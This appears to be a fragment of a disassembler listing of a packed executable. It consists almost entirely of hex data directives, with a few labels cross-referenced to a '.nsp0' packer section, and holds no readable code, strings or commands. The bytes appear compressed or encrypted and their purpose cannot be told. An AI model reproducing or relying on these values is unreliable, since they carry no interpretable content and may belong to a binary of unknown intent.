		dd 3A21B3EFh, 60DE3B2Eh, 0FFC8CD84h, 0B75670D0h, 0C03E1635h
		dd 64C466A3h, 0E37E1F5Ah, 696F0EC4h, 35374BA3h,	0ACA3AD67h
		dd 0BEFA10FBh, 0FC2F19AFh, 0E6B6C131h, 0D78326EAh, 34F0EFD3h
		dd 489617A3h, 4DB223DAh, 6F417130h, 74EF92Ah, 195F9CD6h
		dd 995868D2h, 80200D28h, 35809194h, 0CFC05A5Fh,	0FBFACD72h
		dd 0D91267BCh, 0C13927F0h, 3ABB51CBh, 6E362F47h, 0A43F2304h
		dd 5D62BDAAh, 432E51E4h, 14669BBDh, 0CACB9CEDh,	9D85B7E7h
		dd 0AED57918h, 0A17B3C58h, 0DCE62E0Bh, 0D5F22542h, 0E292343Ah
		dd 9E481C7Eh, 0AAD7225Ah, 4345F2EDh, 12F47BD7h,	0CD40A62Dh
		dd 280622Ah, 0CDA5DBFh,	7307957Ch, 65133D7Ah, 7DC8B939h
		dd 0BF0B6D14h, 0B602C30Bh, 8BA57BBBh, 0F33B7BD4h, 0A430CA22h
		dd 7689AE3h, 0EB7408E8h, 0A5638B28h, 142CC546h,	0ECC3B859h
		dd 1A4DD981h, 1D16EAB7h
		dd 0B09F4F56h, 0CC97F576h, 91003E9h, 9494F014h,	8257EEBAh
		dd 0D2BBCB4Eh, 151A0954h, 6081C045h, 6C5F2FA8h,	4C17ACF9h
		dd 0E5D0F1A5h, 2D3DE74Eh, 0F5CD8093h, 220D7492h, 2A5A93A8h
		dd 1467CA85h, 0D46AF06Ch, 794D069Eh, 0C9C6D941h, 4A0AF53h
		dd 21D9C1E6h, 561F9AA8h, 417B358Ch, 7DC3A4F6h, 1215778Fh
		dd 0CE53D65Fh, 8A11918Dh, 0D08DE147h, 0D72A911Eh, 8E701016h
		dd 409DED33h, 43109659h, 394F292Dh, 183BF7DBh, 0B5B47250h
		dd 0F9A40690h, 0CF80506Ch, 4E5CAE81h, 786FA543h, 0F418B8C1h
		dd 0CD4149Ch, 1B0E95B0h, 0C4FE4A78h, 3CE6776Fh,	0B36C99AFh
		dd 0F5AF1E5Eh, 0BEA64833h, 0A862CEA1h, 0D49CD0B0h, 540966CFh
		dd 0EC3B336Ch, 0E5D3AF4Ch, 0D5EE6BFEh, 0EB8DD462h, 0C61BC1C7h
		dd 1F313650h, 50335240h, 0B400E5BAh, 1A24BBAFh,	31C9162Ch
		dd 0B2706142h, 20333C2Ah, 0F00711DBh, 0B80AB25Fh, 1F886217h
		dd 7DBBB902h, 0A41BCCAFh, 1514FB95h, 8057B3D3h,	18F29595h
		dd 0F20E4FBFh, 0F9CC1A43h, 5D9046EEh, 0BCD15620h, 948F3439h
		dd 255D287Bh, 266AB995h, 4B752BFBh, 0B2CA9BE7h,	0B594F624h
		dd 0AE970A17h, 0D5C6B9F6h, 10DE08CBh, 417E2594h, 0F737644Eh
		dd 0DD4A2E3Bh, 51DC85EDh, 2A0CC08Fh, 0CD5CF4C9h, 0D5489902h
		dd 67F30026h, 0C6771FE1h, 7037F90Ch, 1FEF8EC4h,	8C38D08Dh
		dd 0E524B230h, 97D49CFAh, 88D47722h, 0C80C3AF6h, 727F06E5h
		dd 5AA7781Eh, 5C314D60h, 8CCCE9CFh, 0B186CA87h,	5F77D028h
		dd 1651AE35h, 0E127B5FAh, 0F10326D9h, 0D5FDE0BBh, 3FF3B4A0h
		dd 4D5A1F52h, 452761F2h, 95EF3D33h, 41F1375h, 7C22C819h
		dd 5FFAA35Dh, 0D51AA248h, 8ECB82F9h, 6A03C54Ah,	38D72284h
		dd 2348955Ah, 863BEAB1h, 758DDFA0h, 0D3ADEF01h,	0ACD2E7Ah
		dd 0EE21BA37h, 552C5F9Eh, 0A7DF2F9Eh, 7402F11Ch, 611F042Ah
		dd 3ED1E1A8h, 68A6E24Ch, 0AFAB32C6h, 5211F41Dh,	0E338F072h
		dd 683CEFA0h, 50788852h, 1C6EFF71h, 73817260h, 0C7649E8Dh
		dd 0BC900649h, 1250C91Fh, 0FACF02C2h, 5E6888F4h, 0FF9A760Dh
		dd 3EBDC38Fh, 0FC53345Bh, 403B65A8h, 3ABB50CAh,	9CBC8F8Eh
		dd 0A4356DD1h, 2C78BB9h, 0B5C2428Bh, 0F3F5BDB9h, 6B254070h
		dd 0E0A74C3h, 0DE6E9578h, 502BB8E5h, 0ADC84314h, 61BA758Fh
		dd 0FC9E3914h, 20048C64h, 762759EDh, 206C9FE2h,	7F785CBDh
		dd 8BC50B3h, 9344F7FCh,	0F5549F71h, 0A9551C99h,	8D6EBB0Fh
		dd 0B245E579h, 3B6AF036h, 7500FAE5h, 926F4C88h,	205B280Eh
		dd 955EA137h, 0EAF0F481h, 0E2C42B66h, 65C923B0h, 0FF7C3C96h
		dd 0AB51F951h, 460B33D6h, 0CDCB9E6Ch, 586E8C52h, 0F22293B7h
		dd 0C12E8DD1h, 0DA3FB477h, 0CD173774h, 0B0FE99C4h, 7944A47Ch
		dd 34166329h, 0E644886Fh, 2826A758h, 6AF51C1Fh,	8FC53CA8h
		dd 3636664Fh, 0E8676ED0h, 0B33A521Fh, 0F9D24774h, 64466A5Ch
		dd 0F24E20C5h, 66889955h, 0FF54DB04h, 51DBDD89h, 0F9893C0Eh
		dd 6E4B0E08h, 0F2852E68h, 0F9F81AA8h, 0BC584C4Fh, 0EA255EDBh
		dd 0F5C1C2C1h, 5EC262AEh, 2F180C78h, 43CBD14Eh,	10D1F2D2h
		dd 0AE69CFB2h, 0DE037311h, 5E7258C9h, 78256A4Fh, 0FAF620B2h
		dd 0DEF51BC7h, 0FCBB222Fh, 7CA54088h, 0C303B0C9h, 0BC4C4938h
		dd 519BE205h, 4BD93C4Bh, 7BA3B6Eh, 40153D67h, 277E142Fh
		dd 0B4FA055Eh, 7DCD8246h, 3ABDF0F4h, 0B783EEC6h, 5EB2977Ch
		dd 2964182Ch, 4D3BCD5Dh, 0BBEB6BB8h, 0CA0D092h,	16FCB14Fh
		dd 0EC270396h, 707B0076h, 6B7488C2h, 97D85C3Eh,	7320F5Ch
		dd 0CCA6D62Fh, 0BF5263C0h, 78A4B75Eh, 0E79945F7h, 0A3AA4C31h
		dd 59CCFD43h, 0B93C8894h, 46D1FA89h, 1BA0D45Fh,	39F7520Ch
		dd 0F1910D5Bh, 5BBA0A4Ah, 970D9182h, 26E9CADBh,	0BDB9A0A5h
		dd 618A783Bh, 9EF072D0h, 1A948FCDh, 295A88A3h, 319B436Ah
		dd 0ED2B44FEh, 9C27D992h, 0F692F0D9h, 0D7425E34h, 0FA901652h
		dd 115AA1FBh, 0DB9D8088h, 0DAD72D43h, 936BC8A5h, 236EAFF0h
		dd 7C1E4146h, 0C76818C4h, 0F2FDA315h, 2ADF7D36h, 0D5F3FB9Eh
		dd 0D4BCEB53h, 6779DD14h, 3690F4FBh, 0DA7A5B2Dh, 0F23DB5E7h
		dd 0DBF7BEACh, 0FE7746CDh, 0B0B384DBh, 236233AAh, 5E6BAC6Bh
		dd 0B8F73EFDh, 0A3533324h, 44B8C007h, 44CB59F1h, 6FB519D0h
		dd 4CBC2DF0h, 9BDE73BCh, 6621C058h, 0D795CD5Eh,	6C21726Dh
		dd 4C23A145h, 0C50D6D73h, 6E951264h, 0BE4F5A77h, 53714622h
		dd 70D9A5B2h, 53484614h, 541B98D6h, 44C0347h, 7DAB073Dh
		dd 0A8983CCBh, 3224D354h, 0DC020F56h, 0F9C3C4D4h, 0B0472E9Ah
		dd 0A523D76Dh, 16E97B88h, 0D2F7C61Bh, 6ECE72B0h, 1C3DFB3Eh
		dd 59B73641h, 0DA5C1BE8h, 82CE92DEh, 0A90E9D42h, 4EA7C54Eh
		dd 3A59FC92h, 45BB2A48h, 0A492E9EDh, 6F7DAE3Ah,	9CBC046Fh
		dd 0EE79885Bh, 53C3A8F7h, 0ED9AE1A7h, 256C63C8h, 3D154A32h
		dd 8B9576BEh, 83B17777h, 90D099B2h, 0A4D3F266h,	25D6FA8Ah
		dd 4A5AFFBDh, 9FBD4EE6h, 6D35FE46h, 43E59068h, 0DD7DD7E6h
		dd 0F5A76AA5h, 829D80E3h, 3CD9B761h, 9B3C8C63h,	0B447700Ah
		dd 70CD8E25h, 0DBCB3E57h, 0DDD3632Bh, 0C43C35BEh, 6FC6EAB4h
		dd 0AF994D5Eh, 0FF51C321h, 0EAD0C59Dh, 51D1CD30h, 288D4A83h
		dd 2343235Bh, 0C20A0B07h, 0F22A1073h, 0CE32A6AFh, 0F42A5D85h
		dd 0D9550344h, 0D65CBF08h, 1661BD62h, 806DE7A8h, 8B458C6Ch
		dd 645762AEh, 5D0C80DAh, 0F781019Eh, 3BA49BDDh,	535C299Bh
		dd 29A8509Ah, 0B477C413h, 0FE036BF2h, 90B0E130h, 0A560118Ch
		dd 12BCC31Dh, 4E6D40D2h, 0BAEB26CDh, 424FFCBDh,	84EE814h
		dd 7047E6ADh, 0B78C0B4Ch, 8AA5702Ch, 34287F09h,	85DA6134h
		dd 0B6B0D780h, 8A7E4379h, 6F9557EEh, 3FB1EF75h,	34FCFC8Ch
		dd 8FF0AF4Dh, 20621761h, 2A49CADAh, 24C0042Dh, 0EC8080C9h
		dd 31E8AAEEh, 2A97CEF8h, 37927EDh, 6C66CEA1h, 492B682Dh
		dd 0AFEC224Eh, 905FF5C2h, 0D8F45B65h, 2FB38724h, 0B01C4D6h
		dd 0E22EEB55h, 4B75B080h, 50251504h, 63EB59A8h,	0F245B204h
		dd 995E05F0h, 1A6D783h,	0AE0A8973h, 17BA45C6h, 0FEC96179h
		dd 5B9C756Ah, 0F138D47h, 14640A0Fh, 8AFAC684h, 87E6DAEFh
		dd 160A8938h, 54A38F41h, 78A4442Ch, 40634905h, 5FD924EEh
		dd 0B57BE59Ch, 0AD01B67Ch, 0A1E93855h, 57BF4BF9h, 0A06DE3E1h
		dd 3BDC9D7Fh, 5A0B7549h, 0DE13D591h, 0ED285053h, 5C04F5D1h
		dd 3A3FB8F2h, 7920A439h, 3F71A4DCh, 0CDB897D3h,	42B5C406h
		dd 1B934875h, 0E2AB3A8Ch, 2B21DCA9h, 0F5E84EDEh, 4B10CD99h
		dd 69D7FAE1h, 0BE50699Bh, 421636ACh, 32685DBAh,	8EAD7C6h
		dd 536F7273h, 9550399Ch, 70570C02h, 0EAC3842h, 0CC7E3C10h
		dd 0C92DED29h, 7D3C28A4h, 82135A34h, 861CA790h,	76528852h
		dd 7184F028h, 401542Dh,	0EA589BB9h, 0AF059056h,	336CB1E0h
		dd 0AA71F8F2h, 75887BB8h, 72BB6A90h, 0A5FD3037h, 6B5B1B4Ch
		dd 0E5534F94h, 65BD2285h, 9D1FB49Fh, 17677C3Ch,	679CC2F3h
		dd 49702FCh, 2C043B7Fh,	57B1A04h, 9ED3259Eh, 963E7E05h
		dd 0DCA9701Bh, 0E88A0B4Bh, 0B5CA3B78h, 1886498h, 0D95538F2h
		dd 1EE3C6F1h, 0E4E7CF8Eh, 36B418B4h, 5E3068EDh,	0E089F431h
		dd 6441BF6Bh, 0CC6F3434h, 0D15AB264h, 0FC22C08Ah, 48E6C5D9h
		dd 2BB807F0h, 0B5E64492h, 48485121h, 0BB47FFF4h, 8900A6CBh
		dd 3FB3F465h, 309CEB00h, 18FCB3B3h, 5D1A787Dh, 0AC4AF68Ch
		dd 0C9288904h, 0C08C45E2h
		dd 5CBF943Ch, 7BAF18B6h, 5BF28108h, 9F61103h, 545A235Fh
		dd 7842C82Ch, 0A27F2D3Bh, 0D04E3ADh, 65216029h,	0A3242CEBh
		dd 567A3E9Dh, 0FAB8CDF4h, 30E87EBEh, 0C6B6C0EEh, 0C87DF6DAh
		dd 742E68A3h, 2250D659h, 0B7031B06h, 466D83E7h,	3ECF361Fh
		dd 0BB6C0253h, 7777DAE6h, 5B019A0Fh, 0ED4B1CA1h, 8B06A031h
		dd 0E5E9D697h, 0D3E2EAC6h, 0A7BBB6A3h, 29EBABC4h, 8432B3D6h
		dd 25D08A66h, 0B4782564h, 7731F4C6h, 4364CD55h,	9D812FC3h
		dd 0F9197D62h, 8DBE445Fh, 3E4B9Bh, 0BF2467CDh, 99DE152Ah
		dd 87F70CDh, 0DA8BE3E1h, 0B2004AEFh, 32E5DAF4h,	0BE4D410Fh
		dd 7A22FC3Ah, 76707922h, 9903B8F4h, 654111ECh, 66F7CDC9h
		dd 0D75C03CBh, 7F1E56DEh, 43E4993Eh, 0AA3F3833h, 4C36D35Dh
		dd 45AF4706h, 723909C3h, 906020A8h, 8D312FBCh, 0D1736922h
		dd 0F5C9CBCBh, 0A593B0FFh, 6A6FB140h, 602450C2h, 0B1723D4Eh
		dd 0B0868746h, 98E97D70h, 2E2DDB65h, 0D15DC710h, 5A90130Fh
		dd 77CCD88Ah, 0C3933A98h, 0E8C55758h, 0AC82FAF3h, 65EDD5ABh
		dd 39864DACh, 0C0B8441Fh, 5FBBF3EDh, 1CB32375h,	0E8F906EEh
		dd 0DE1842A3h, 267B86A7h, 49F50CC4h, 83FDF082h,	0C837078Ch
		dd 8BF7D632h, 1BF807A5h, 0C69B3944h, 0C27073ADh, 0C9812DC3h
		dd 544B0239h, 581FE7B6h, 0BCE18923h, 6EC91E95h,	0A1938BEh
		dd 96A6894h, 0C5315A85h, 8D0AA7BBh, 8536A8AAh, 0C9755EBFh
		dd 7FA02C59h, 0BD22D9A4h, 5D242A09h, 79173902h,	514E335Ah
		dd 8C4585E1h, 6BC2ABE1h, 78297ECFh, 581B0D65h, 0AA5CE559h
		dd 0A1A2D729h, 2FD9E069h, 0DA9076C0h, 88A463AAh, 0AFEA9B97h
		dd 0FF47EC5Eh, 0A04AE87h, 0E8378665h, 0F1332965h, 70CF4411h
		dd 0E6C8BDBBh, 9DCF37C8h, 356102C1h, 429D27Ah, 0EA00E090h
		dd 6B2F3444h, 510EBAAEh, 119BCE8Ah, 0D628093Ch,	0C3477C63h
		dd 0F32719A8h, 0FEA656AAh, 0FE698687h, 17A1CA9Dh, 52DF16A2h
		dd 2FC4C013h, 63C6E2E2h, 0FC160320h, 11EFE7FFh,	0BE7DF4F5h
		dd 9695F63Bh, 0DD688A3Eh, 284B0891h, 0FC28EDCAh, 45276228h
		dd 0E0D11694h, 0A92775DDh, 5F73FC1Ah, 50EC5010h, 9C24049Fh
		dd 84C2E0CBh, 5048B533h, 0D953CCBAh, 50AA0A13h,	0D70606E0h
		dd 0BFFBB14Fh, 58789239h, 161811F7h, 0D7B2E81Fh, 0E2FB5C4Ch
		dd 45A3CEF3h, 4C380A2Ch, 55C4EB6Fh, 0E97F4851h,	5CA8EC08h
		dd 90963572h, 0D0A6E2E0h, 7ABFD5AAh, 0C48449D3h, 6A34D6EEh
		dd 6344A129h, 0DA06F8B5h, 47CA5831h, 0DE0ACC3Fh, 8C83D2EBh
		dd 0A80D25FCh, 8171D2BBh, 0D33F14A9h, 9846A3DEh, 5DCF2A60h
		dd 8F0AAFEAh, 2203D098h, 7CEA9B75h, 0DEA141F1h,	0DBAD2C8Ch
		dd 18EC3BD4h, 76EB03CAh, 55942836h, 189DCA20h, 0DE663183h
		dd 6280C95Dh, 0E5972695h, 39D3F495h, 0D19DB34Eh, 0FA82E52h
		dd 62E93FAAh, 0CBCAEEBDh, 0FB388D7Ah, 0A5FA8862h, 2DDE357Fh
		dd 0E8D21A52h, 0DF34D71Ch, 16BFC4B7h, 0A3FAE43Ah, 1DCF76A6h
		dd 0ED6F1715h, 0E2936C31h, 0CAD767E1h, 568B9FCDh, 0CC1B08E6h
		dd 6C60744Dh, 35E64286h, 0DADBC6DBh, 0E8F5F7B1h, 14570938h
		dd 4AB6F9EBh, 4CA67290h, 4254E5E3h, 9BFEA55Ch, 85BB00FFh
		dd 38298625h, 127328B5h, 94086221h, 55EDBCFCh, 80CED4C1h
		dd 0D307301Fh, 80EBD0BAh, 2087C2E6h, 0E708BE52h, 0A77FFDDFh
		dd 0BB80B21Dh, 30995258h, 841596C0h, 0B04C2004h, 0FAE45ABCh
		dd 1E810D26h, 96FB0F14h, 27FF0C4Ch, 3492BED9h, 0D45D8E80h
		dd 0A0A0367Ah, 0D5ECC9D3h, 0E6E21C92h, 0CA190E5Dh, 5668DB12h
		dd 187F2451h, 2444A6ADh, 0EBA11E65h, 81885D58h,	9A93313Dh
		dd 0F17ADEC3h, 79E54FACh, 9E6D62ABh, 0E8091732h, 131286B8h
		dd 0D5484179h, 0F2056A1Ah, 0EDECBC7Ah, 93186044h, 11C38AF5h
		dd 3E8808C0h, 0F0708531h, 2F6B9811h, 0EEF0CE80h, 3734C406h
		dd 3B05715Ah, 23C958A7h, 6E3A0956h, 8F6F7910h, 7FA01912h
		dd 0E36A1F2Dh, 5B77EF03h, 58DBAD99h, 0A06D80EDh, 0D314D9D8h
		dd 1778BA96h, 0EFA4E123h, 1480AB7Bh, 9A0FDC37h,	0CE341597h
		dd 0DECE0FD3h, 5187AEE7h, 38E12073h, 2D8CF719h,	9551A9E8h
		dd 9F47BA11h, 7EC94B6Ch, 347579F2h, 803D9684h, 0CC50F40h
		dd 0A5793FECh, 0A649A7F9h, 79A62F35h, 97025C4Fh, 0E5517BD9h
		dd 365FED98h, 0A38BA171h, 9DB658EFh, 8E8FFC7Eh,	0FEF641DAh
		dd 27D1A2B2h, 0F0B69547h, 0B3CE75B5h, 96BAA37Dh, 65CE13C1h
		dd 0C64CB296h, 97E20386h, 64276166h, 196B353Ah,	16BF3FF2h
		dd 6E09AE8Eh, 9F7215E0h, 0AEB41063h, 0B81772F2h, 0ECAEEC0Eh
		dd 0BBDA04A4h, 8251B32h, 1D96B1B7h, 940C3306h, 24BDAB41h
		dd 0D2311B2Ch, 908AD200h, 0C939C6B8h, 4AFBDEDFh, 1AFDDEE9h
		dd 0B0A2AF8h, 1335FF78h, 0C6714862h, 0DDCB1CC2h, 6090D745h
		dd 3BCFCF3Dh, 0F06A3FEEh, 665920D1h, 8A7695C7h,	7BF2CEF3h
		dd 4873D5ADh, 4AA1CB23h, 8377026Ch, 13B09B01h, 0D53E5144h
		dd 61BF35E2h, 619D4BFh,	0F6CEB873h, 5810D6BFh, 92C99712h
		dd 0F985AD1h, 0B58011C7h, 6C4A5B3Bh, 7187AE2Ch,	0E8B86EFBh
		dd 87C9062Fh, 3663D46h,	11EC7073h, 28D3FFC2h, 0F1506DADh
		dd 0CC9956D9h, 7F718051h, 0EC94876Fh, 45908F08h, 6EEBF454h
		dd 0CD256F40h, 0BF29B17Fh, 0BBA7E919h, 8DADCEAh, 0F795EFF4h
		dd 704E37E0h, 0CAC14D4Dh, 0D4F49A85h, 6E57FA01h, 3A063638h
		dd 0F9F2F66Ch, 6BE0E9C6h, 9D8F819Ch, 0DE469AFEh, 0FA68F37Eh
		dd 4661D177h, 619ADC01h, 0F8071C42h, 6F4B74DBh,	72A625C3h
		dd 0DE98E0B4h, 0F038D80Dh, 0C3B34EE0h, 3395B310h, 7E488A1h
		dd 0B6D9D6CEh, 40543D9Bh, 0E338A617h, 5BEE2FA3h, 8338F6ADh
		dd 0F59F0850h, 961F223Dh, 0F00065B9h, 752CAD03h, 0B782AFEEh
		dd 96196FD5h, 0E353CD91h, 65CCCCF1h, 6F6DD35Bh,	0CBAEE11Ah
		dd 0A1625F05h, 0ABC43C04h, 4FB47B93h, 0DB0C8939h, 8CCA331Fh
		dd 7EE52022h, 67A6DAF9h, 0C089FCD6h, 0B3A2E586h, 0C6609882h
		dd 1D0760FAh, 2F24AECh,	7138A9ADh, 0C46E067Bh, 0E241E489h
		dd 11FB1A85h, 3B8111E2h, 746BE062h, 0BE2A9550h,	247C900Bh
		dd 4D03D217h, 6403B61Dh, 0C71C07C1h, 5FB50318h,	9C088C9Dh
		dd 1B2B1E01h, 0CE040C0Ch, 47B717CDh, 1371AA0Ah,	26CED18Ch
		dd 80E4D156h, 480F7A3Bh, 7CF52ACAh, 3452EC51h, 71FCE25Bh
		dd 58F8058Fh, 389420B2h, 22F3D782h, 79CA38Dh, 27E66209h
		dd 1CE38BEFh, 0F9FC08AFh, 5124F016h, 150D5687h,	0DC72A8F4h
		dd 0D30F802Ah, 946146ADh, 0A8DBD5DCh, 744E5E29h, 0F7B820E3h
		dd 0A86D7ABFh, 0FCA43E7Bh, 460682D9h, 0EE965417h, 8E917679h
		dd 0A3ED2E59h, 7A83EB43h, 5E5084B7h, 3738B914h,	0C0C876BDh
		dd 4D9C36E3h, 8A53E6F6h, 42E2F12Fh, 0A780BC64h,	109EB558h
		dd 80BF51A6h, 8F5F794Dh, 631EB846h, 0F47A7DDAh,	818F304Dh
		dd 6F6F71C5h, 0BB7DD46Bh, 53EEE7BDh, 56CA8CC2h,	69325ABh
		dd 0C2AF30Dh, 67B7100Dh, 595DB19h, 0AB7F04BAh, 0F4016A47h
		dd 85B0F65Fh, 374C91ADh, 72ECC51Ah, 0F2A5268Ah,	0F0340EADh
		dd 3478F8BCh, 363A57DCh, 8A4237F1h, 6BD10697h, 0FB560A4h
		dd 0E0B2BD7Fh, 4A272FABh, 6514124Fh, 0F207768h,	81F8B159h
		dd 0A7E73B57h, 1720EDA3h, 0BE3AB613h, 0C5F846D1h, 0F8D0EAACh
		dd 281E39DEh, 0F493DD8Fh, 0D9D69785h, 0EB35DF20h, 94F84940h
		dd 412E7BA5h, 0D88154Dh, 84F08EF4h, 0D2533370h,	13F72BD0h
		dd 7F0528CBh, 41A99E88h
		dd 566FBF5h, 4F437E7h, 0C94A3B04h, 65D34B4h, 6F297DD3h
		dd 0A9F14602h, 6B2D321Fh, 0FDE25198h, 9D56BF4h,	2EDB7878h
		dd 0EBBC8020h, 0C3D2ED6h, 14E7EBA2h, 4F4414CCh,	72EC52B1h
		dd 28834589h, 0FCDFE242h, 7AB5EE6Ah, 0F5E52B69h, 648F5B19h
		dd 0D3E4727Dh, 3F7FCF2Dh, 7965B048h, 3AF4B8B9h,	6AC7865Ah
		dd 71F2CDC2h, 1148DC10h, 5F50021Bh, 0FF637475h,	0AE33CD96h
		dd 0ECAFF703h, 5C8B13EBh, 53E48F54h, 118794E7h,	0D816BEDAh
		dd 0CEAF55FDh, 0ADBFBBB0h, 0C1D6DDF6h, 20B74C71h, 6C859284h
		dd 6E849772h, 0EE9CB47Ah, 96EEFE63h, 35E1CC61h,	9A347276h
		dd 38FF5CB0h, 0CF086683h, 8E635B62h, 9F4D4DF0h,	0D1EC19F4h
		dd 0D25AACEEh, 2B237CD4h, 2375AF3Bh, 7047C8B3h,	55C7230Dh
		dd 734BD5CEh, 4E57832Fh
		db 0ABh
byte_504341	db 0C6h, 1Dh, 2Fh	; DATA XREF: .nsp0:off_438D74o
		dd 3546C98Fh, 0D5EC8B39h
		db 1Dh,	2, 0C6h
byte_50434F	db 87h			; DATA XREF: .nsp0:off_438D70o
		dd 8505CE67h, 689A0776h, 3D6FAE14h, 4C91457h, 1C188093h
		dd 0A265CECFh, 9CDF871h, 0D9F07D6Bh, 8C265DE8h,	5DE12404h
		dd 0A9E49747h, 0B03169B0h, 97BB64F1h, 0FFDFB2E2h, 0CCB26829h
		dd 12516CA1h, 0CC9CBAA4h, 0C152B91Dh, 3BFC256Bh, 0DC9DBF94h
		dd 0B2C2CFA1h, 0CF44D1D3h, 9C70AFDFh, 45EBD8Dh,	49159A75h
		dd 712D6C05h, 823C35FAh, 0DC40CCA3h, 90488915h,	0D8D648ABh
		dd 43E1BE24h, 4CEF6F40h, 1560D814h, 0E9C665BCh,	0A6829C58h
		dd 0DD8B7139h, 0C615F9E4h, 2380C0E4h, 9EDF0A3Ah, 35365B37h
		dd 554B6882h, 7B8A6B1Fh, 8346C2Fh, 374D02DBh, 3744F938h
		dd 0AC49D80Eh, 4BC5F114h, 0F0BC7AC5h, 0E0BBE330h, 0B8145FEh
		dd 299CEE94h, 4F45E2C7h, 0B54201DBh, 5DCA0ECAh,	6F00BAC9h
		dd 8C344DC7h, 8AF21423h, 0C5D8325Ah, 4B16A3B3h,	6BD54466h
		dd 6B0F4243h, 160C1362h, 190049BAh, 8135A0E0h, 0E34D7024h
		dd 34AF2971h, 0C23D6911h, 0DC2F8235h, 13DA742h,	0A9818C33h
		dd 9D822C99h, 1BC3365Fh, 0A6E6868Bh, 595439DBh,	0B7D3FC4Eh
		dd 0E365A6DBh, 6AAF967Dh, 66B9A4CEh, 8E7A3D67h,	7F2DFAE5h
		dd 0FD9D494Bh, 16087908h, 0E86F2A61h, 0C348D826h, 5C5F0440h
		dd 6252508Ch, 12BE1451h, 5C335595h, 9D7EA063h, 0ED813F10h
		dd 0CA5B6BD5h, 0FB7BC2h, 4139A732h, 9AE135E4h, 0FEF57148h
		dd 0E9ABA58Ch, 187E08EDh, 5E3B7CA0h, 0A0DEE97Dh, 4F13DD8h
		dd 9C0B0BEEh, 6120EDCEh, 5AC420CEh, 0F422BC67h,	95008762h
		dd 0E5186B8Dh, 0AC3572EFh, 0FF9023C4h, 3828E40h, 161D05B0h
		dd 5E549092h, 0C6200CE9h, 517AC247h, 0CBD9C209h, 0C73B3A01h
		dd 7AB9560Ch, 0DC615017h, 4E61B70Ch, 2B73ECF4h,	0B48A4D9Fh
		dd 10D1A2A1h, 6C48226Ch, 59FAA93Ah, 348920DAh, 0FBBF3215h
		dd 905650CFh, 0F72F4F1Ah, 0DB050EDDh, 0F7BAFA8Ch, 0A7E3A380h
		dd 1D8F2A9Dh, 3AADB1ACh, 0CC848D63h, 1AE7CCA0h,	16ADD25Bh
		dd 8E41C923h, 0F23B9BD8h, 9D08C9DFh, 0E4A5A290h, 0C8081993h
		dd 0FA54CD66h, 3EBC31AFh, 8D1527B6h, 7A8A085Bh,	14900D8Bh
		dd 86E87C8Ch, 0E764987h, 0D883E3F6h, 70C1E49Ch,	0F70E6779h
		dd 40CE8F33h, 0FE97C06Fh, 0BBAA4AE3h, 65326C70h, 4C556F80h
		dd 0E027AB93h, 0E52DA7F8h, 4AE8BB77h, 867CC8ADh, 817EBE27h
		dd 0C6BE17E4h, 0A2A9728Eh, 8CD661B5h, 7D39E449h, 0D6295084h
		dd 2CB77FECh, 494C2E4Ah, 54929463h, 1C447EC3h, 0E67C5333h
		dd 0D5DAE37Ah, 3A220D2Fh, 0C8B44C28h, 0CEFCD0B4h, 9E0952CCh
		dd 0BFB55476h, 0D77AB8F5h, 0DF48B11Bh, 0CF95D9BDh, 0C503088Fh
		dd 22D800ACh, 881C1C93h, 91215EAFh, 154CFAE1h, 0F67B8B5Eh
		dd 0D78B0F3Fh, 26C710CBh, 13C71FD1h, 8D9FE5E2h,	31E145DCh
		dd 14BDF16Eh, 488C592Fh, 7C88195Ah, 102C2051h, 41BCC76Ah
		dd 9E8C11A7h, 5E555CDCh, 4AEC4E83h, 7A25A383h, 0EC29CE05h
		dd 61C688CCh, 10D13E5Ah, 24B881B5h, 13C97A4Fh, 0F1068AABh
		dd 9781E094h, 44246297h, 0BE2B7B95h, 5E5F0E51h,	805441BCh
		dd 0BDE961EFh, 0D05E99C5h, 0FE714ADEh, 0CEE753D8h, 4BA7CD6Dh
		dd 8A055B73h, 592C2AA5h, 270F55AAh, 280F87B5h, 0ECDB56F0h
		dd 0A05C8D0Dh, 62B2E395h, 0C9CE9DBDh, 1414B174h, 0AAB8276Ah
		dd 4BCA8926h, 9283F94Fh, 459021EDh, 0AECE20B6h,	0D139A4D2h
		dd 0FFF475A3h, 0F0C3D47Ch, 0FF31373Ch, 40747FB2h, 1ED93204h
		dd 172B8EF4h, 0F8F01C88h, 0F5E81DB3h, 96837FEEh, 387C5CC2h
		dd 0CBACCE9Dh, 0DCFCE9F0h, 86944D6Bh, 706D5FF9h, 0C0D99EF6h
		dd 75FA439Ch, 92AA6187h, 0A19E1149h, 4337BCD5h,	4B08BD00h
		dd 0BF1A2018h, 0D087CE2h, 982C2C89h, 776466CCh,	0F722AB1Bh
		dd 6B2195AFh, 29B75E3Bh, 1D628A22h, 0E0FFD123h,	77170813h
		dd 0E4F2AB90h, 771968C6h, 857AB2D9h, 0F53CB9BFh, 0EC2D4B4Fh
		dd 0CFCA6F1Ch, 404BC8FAh, 0DCD17D3Eh, 0AE2E91BEh, 0D2EB2BCDh
		dd 0F9D5D754h, 5AE7AF1h, 0E0513D72h, 9F27CC16h,	3184B88Bh
		dd 2E399B18h, 0B9F1C9EDh, 9F981F88h, 0AFC34333h, 0CE777F5Dh
		dd 75FD6B0Ch, 2F8121BFh, 0DF2B0A3Fh, 0D6E98831h, 9AFB0F38h
		dd 705CAB3Dh, 0E8C31DD4h, 5EAD5B4Bh, 0C6C2E884h, 8B76F80Ah
		dd 39226C5Ch, 42DEEBC9h, 406F0937h, 0BB0C8B4Ah,	0FC1952Ch
		dd 128A005Bh, 0C2DF95Dh, 0CE0520FBh, 6733EA74h,	0DFF9F7EFh
		dd 0F94C722Dh, 15976695h, 5BB30BC5h, 3084A75Fh,	0BF6EE830h
		dd 0F8DB19F4h, 90DAFBE0h, 8AE9F03Bh, 389B8681h,	0EA58E508h
		dd 91112C21h, 962A4B4Bh, 0E3F90DA3h, 8E30F4BCh,	0F6C2DDDAh
		dd 4204D1CBh, 0E6261E8Ch, 899B29A5h, 862F84CBh,	7F15D41Eh
		dd 9BA279DEh, 0ED67D893h, 0F2C7ED16h, 8C4377Ch,	735C8FB0h
		dd 1D8A9C72h, 53AB9D51h, 0E005FDB3h, 57F861C8h,	0F9B7B9E6h
		dd 0D18ED374h, 0BA19CF75h, 0A3E0EDDCh, 488EA2Ah, 1C2D87D9h
		dd 391C59B9h, 0EDFA627Eh, 4B79CB7Ah, 278E772h, 3134E20Ah
		dd 0CEC21EBFh, 6B9BFEFFh, 54AD8F37h, 3A2E1D23h,	68E9DB09h
		dd 9391C73Bh, 15D88284h, 0D5539C22h, 0B1808757h, 0F35F00FCh
